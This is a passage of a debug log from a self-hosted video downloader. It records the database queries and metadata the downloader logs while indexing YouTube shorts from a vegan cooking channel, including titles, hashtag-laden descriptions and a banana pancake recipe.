"https://www.youtube.com/shorts/WRzEeEwxOeE", "playlist_index" => 482, "timestamp" => 1650931246, "title" => "ESCAPE FROM SNUG COVE 🌊", "upload_date" => "20220426"} 20:30:53.622 [debug] QUERY OK source="sources" db=1.7ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:53.624 [debug] QUERY OK source="sources" db=1.1ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:53.628 [debug] QUERY OK source="media_items" db=3.0ms queue=0.7ms idle=1005.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-26 00:00:46Z], 1] 20:30:53.630 [debug] QUERY OK source="media_items" db=1.2ms idle=1009.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ESCAPE FROM SNUG COVE!!! 🌊 \n\nBrad and I went to Bowen Island 🇨🇦 for our 5 year wedding anniversary (as we do every year!) and we just couldn’t help ourselves from being silly 🙃 \n\nWILL WE MAKE IT OUT ALIVE? 😱 Only one way to find out. Stay tuned for our very first vlog hitting our YouTube channel later this week! Plus maybe a few mini vlogs on the ‘gram 🤓\n\n#steamyvegankitchen #steamyvegan #bowenisland #bowenislandtourism #bowenislandbc #beautifulbritishcolumbia🇨🇦 #weddinganniversary #tourismbc #snugcove #snugcovebowenisland #yvrvegan #yvrvegans #yvr #yvrtravel #vancitybuzz #vancityfeature #vancityvibe #vancityvegans #vancityvegan #yvrfoodie", "ESCAPE FROM SNUG COVE 🌊", "f3b3f96e-5658-4d06-bc58-30c191d5d8d0", 1, [], 59, false, "WRzEeEwxOeE", "https://www.youtube.com/shorts/WRzEeEwxOeE", 482, "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ESCAPE FROM SNUG COVE 🌊/ESCAPE FROM SNUG COVE 🌊 [WRzEeEwxOeE].NA", false, false, true, 1, ~U[2022-04-26 00:00:46Z], ~U[2026-03-22 03:30:53Z], ~U[2026-03-22 03:30:53Z], "ESCAPE FROM SNUG COVE!!! 🌊 \n\nBrad and I went to Bowen Island 🇨🇦 for our 5 year wedding anniversary (as we do every year!) and we just couldn’t help ourselves from being silly 🙃 \n\nWILL WE MAKE IT OUT ALIVE? 😱 Only one way to find out. Stay tuned for our very first vlog hitting our YouTube channel later this week! Plus maybe a few mini vlogs on the ‘gram 🤓\n\n#steamyvegankitchen #steamyvegan #bowenisland #bowenislandtourism #bowenislandbc #beautifulbritishcolumbia🇨🇦 #weddinganniversary #tourismbc #snugcove #snugcovebowenisland #yvrvegan #yvrvegans #yvr #yvrtravel #vancitybuzz #vancityfeature #vancityvibe #vancityvegans #vancityvegan #yvrfoodie", "ESCAPE FROM SNUG COVE 🌊", 1, 59, false, "WRzEeEwxOeE", "https://www.youtube.com/shorts/WRzEeEwxOeE", "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ESCAPE FROM SNUG COVE 🌊/ESCAPE FROM SNUG COVE 🌊 [WRzEeEwxOeE].NA", true, ~U[2022-04-26 00:00:46Z]] 20:30:53.631 [debug] QUERY OK source="sources" db=0.7ms idle=908.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:53.632 [debug] QUERY OK source="media_profiles" db=0.6ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:53.632 [debug] QUERY OK source="media_items" db=0.6ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [871] 20:30:53.633 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "MAC ‘n CHEESE GRILLED CHEESE! 🧀 🥪 #veganglutenfree baby 🙌🏻\n\nWhen you can’t decide between mac n cheese or a grilled cheese, why not just have both? 🤤 YOU KNOW YOU WANT TO TRY THIS! \n\nCheck out my full YouTube video for the recipe - and see what other yummy stuff we get up to experimenting with in first episode of our new series #CheatDayChallenge! 😎\nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nDon’t forget to follow @steamyvegankitchen for more vegan deliciousness! ✅\n\n#steamyvegankitchen #steamyvegan #veganfoods #veganfoodporn #vegangrilledcheese #glutenfreevegan #vegancheatmeal #grilledcheese #veganmacncheese #epicveganfood #macncheesegrilledcheese #macncheese", "duration" => 32, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-25 MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE/MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE [pxPjENYTwdc].NA", "id" => "pxPjENYTwdc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/pxPjENYTwdc", "playlist_index" => 483, "timestamp" => 1650904643, "title" => "MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE", "upload_date" => "20220425"} 20:30:53.634 [debug] QUERY OK source="sources" db=0.8ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:53.634 [debug] QUERY OK source="sources" db=0.5ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:53.637 [debug] QUERY OK source="media_items" db=2.3ms idle=3.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-25 16:37:23Z], 1] 20:30:53.638 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["MAC ‘n CHEESE GRILLED CHEESE! 🧀 🥪 #veganglutenfree baby 🙌🏻\n\nWhen you can’t decide between mac n cheese or a grilled cheese, why not just have both? 🤤 YOU KNOW YOU WANT TO TRY THIS! \n\nCheck out my full YouTube video for the recipe - and see what other yummy stuff we get up to experimenting with in first episode of our new series #CheatDayChallenge! 😎\nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nDon’t forget to follow @steamyvegankitchen for more vegan deliciousness! ✅\n\n#steamyvegankitchen #steamyvegan #veganfoods #veganfoodporn #vegangrilledcheese #glutenfreevegan #vegancheatmeal #grilledcheese #veganmacncheese #epicveganfood #macncheesegrilledcheese #macncheese", "MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE", "347a02ef-0c63-439d-a403-c3505a77297a", 1, [], 32, false, "pxPjENYTwdc", "https://www.youtube.com/shorts/pxPjENYTwdc", 483, "/downloads/downloads/alec/Steamy Vegan/2022-04-25 MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE/MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE [pxPjENYTwdc].NA", false, false, true, 0, ~U[2022-04-25 16:37:23Z], ~U[2026-03-22 03:30:53Z], ~U[2026-03-22 03:30:53Z], "MAC ‘n CHEESE GRILLED CHEESE! 🧀 🥪 #veganglutenfree baby 🙌🏻\n\nWhen you can’t decide between mac n cheese or a grilled cheese, why not just have both? 🤤 YOU KNOW YOU WANT TO TRY THIS! \n\nCheck out my full YouTube video for the recipe - and see what other yummy stuff we get up to experimenting with in first episode of our new series #CheatDayChallenge! 😎\nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nDon’t forget to follow @steamyvegankitchen for more vegan deliciousness! ✅\n\n#steamyvegankitchen #steamyvegan #veganfoods #veganfoodporn #vegangrilledcheese #glutenfreevegan #vegancheatmeal #grilledcheese #veganmacncheese #epicveganfood #macncheesegrilledcheese #macncheese", "MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE", 1, 32, false, "pxPjENYTwdc", "https://www.youtube.com/shorts/pxPjENYTwdc", "/downloads/downloads/alec/Steamy Vegan/2022-04-25 MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE/MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE [pxPjENYTwdc].NA", true, ~U[2022-04-25 16:37:23Z]] 20:30:53.639 [debug] QUERY OK source="sources" db=0.2ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:53.639 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:53.640 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [872] 20:30:53.641 [debug] Current batch of media processed. Will check again in 1000ms 20:30:54.642 [debug] Current batch of media processed. Will check again in 1000ms 20:30:55.643 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SWEET ‘n SAVOURY BREAKFAST GRILLED CHEESE! We’d like to think this is the most epic grilled cheese ever made. 🤯\n\nCheck out the full video from our new #CHEATDAYCHALLENGE series here! https://youtu.be/2PBpb8LJWwE\n\n#steamyvegankitchen #steamyvegan #epicgrilledcheese #vegangrilledcheese #vegancheatmeal #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan", "duration" => 52, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-20 SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪/SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪 [EJ5gbrcfjn8].NA", "id" => "EJ5gbrcfjn8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/EJ5gbrcfjn8", "playlist_index" => 484, "timestamp" => 1650481469, "title" => "SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪", "upload_date" => "20220420"} 20:30:55.645 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=918.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:55.646 [debug] QUERY OK source="sources" db=0.7ms idle=56.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:55.648 [debug] QUERY OK source="media_items" db=2.4ms idle=57.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-20 19:04:29Z], 1] 20:30:55.650 [debug] QUERY OK source="media_items" db=0.8ms idle=60.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SWEET ‘n SAVOURY BREAKFAST GRILLED CHEESE! We’d like to think this is the most epic grilled cheese ever made. 🤯\n\nCheck out the full video from our new #CHEATDAYCHALLENGE series here! https://youtu.be/2PBpb8LJWwE\n\n#steamyvegankitchen #steamyvegan #epicgrilledcheese #vegangrilledcheese #vegancheatmeal #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan", "SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪", "20a2c67d-f999-43d3-80cd-465495b2a583", 1, [], 52, false, "EJ5gbrcfjn8", "https://www.youtube.com/shorts/EJ5gbrcfjn8", 484, "/downloads/downloads/alec/Steamy Vegan/2022-04-20 SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪/SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪 [EJ5gbrcfjn8].NA", false, false, true, 0, ~U[2022-04-20 19:04:29Z], ~U[2026-03-22 03:30:55Z], ~U[2026-03-22 03:30:55Z], "SWEET ‘n SAVOURY BREAKFAST GRILLED CHEESE! We’d like to think this is the most epic grilled cheese ever made. 🤯\n\nCheck out the full video from our new #CHEATDAYCHALLENGE series here! https://youtu.be/2PBpb8LJWwE\n\n#steamyvegankitchen #steamyvegan #epicgrilledcheese #vegangrilledcheese #vegancheatmeal #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan", "SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪", 1, 52, false, "EJ5gbrcfjn8", "https://www.youtube.com/shorts/EJ5gbrcfjn8", "/downloads/downloads/alec/Steamy Vegan/2022-04-20 SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪/SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪 [EJ5gbrcfjn8].NA", true, ~U[2022-04-20 19:04:29Z]] 20:30:55.651 [debug] QUERY OK source="sources" db=0.5ms idle=61.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:55.651 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:55.652 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [873] 20:30:55.652 [debug] Current batch of media processed. Will check again in 1000ms 20:30:56.653 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "BANANA BLENDER PANCAKES 🥞 brought to you by rescued bananas 🍌 from @pekoproduce! HAPPY EASTER 🐰\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 SAVE THIS RECIPE FOR LATER! ✅ or head to my blog (link in bio) and search for “Banana Pancakes” 😘\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nhttps://thmatc.co/?l=309E581F", "duration" => 52, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-18 BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!/BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce! [tHJoJsYTrbI].NA", "id" => "tHJoJsYTrbI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tHJoJsYTrbI", "playlist_index" => 485, "timestamp" => 1650248650, "title" => "BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!", "upload_date" => "20220418"} 20:30:56.654 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:56.655 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:56.658 [debug] QUERY OK source="media_items" db=2.7ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-18 02:24:10Z], 1] 20:30:56.660 [debug] QUERY OK source="media_items" db=1.5ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BANANA BLENDER PANCAKES 🥞 brought to you by rescued bananas 🍌 from @pekoproduce! HAPPY EASTER 🐰\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 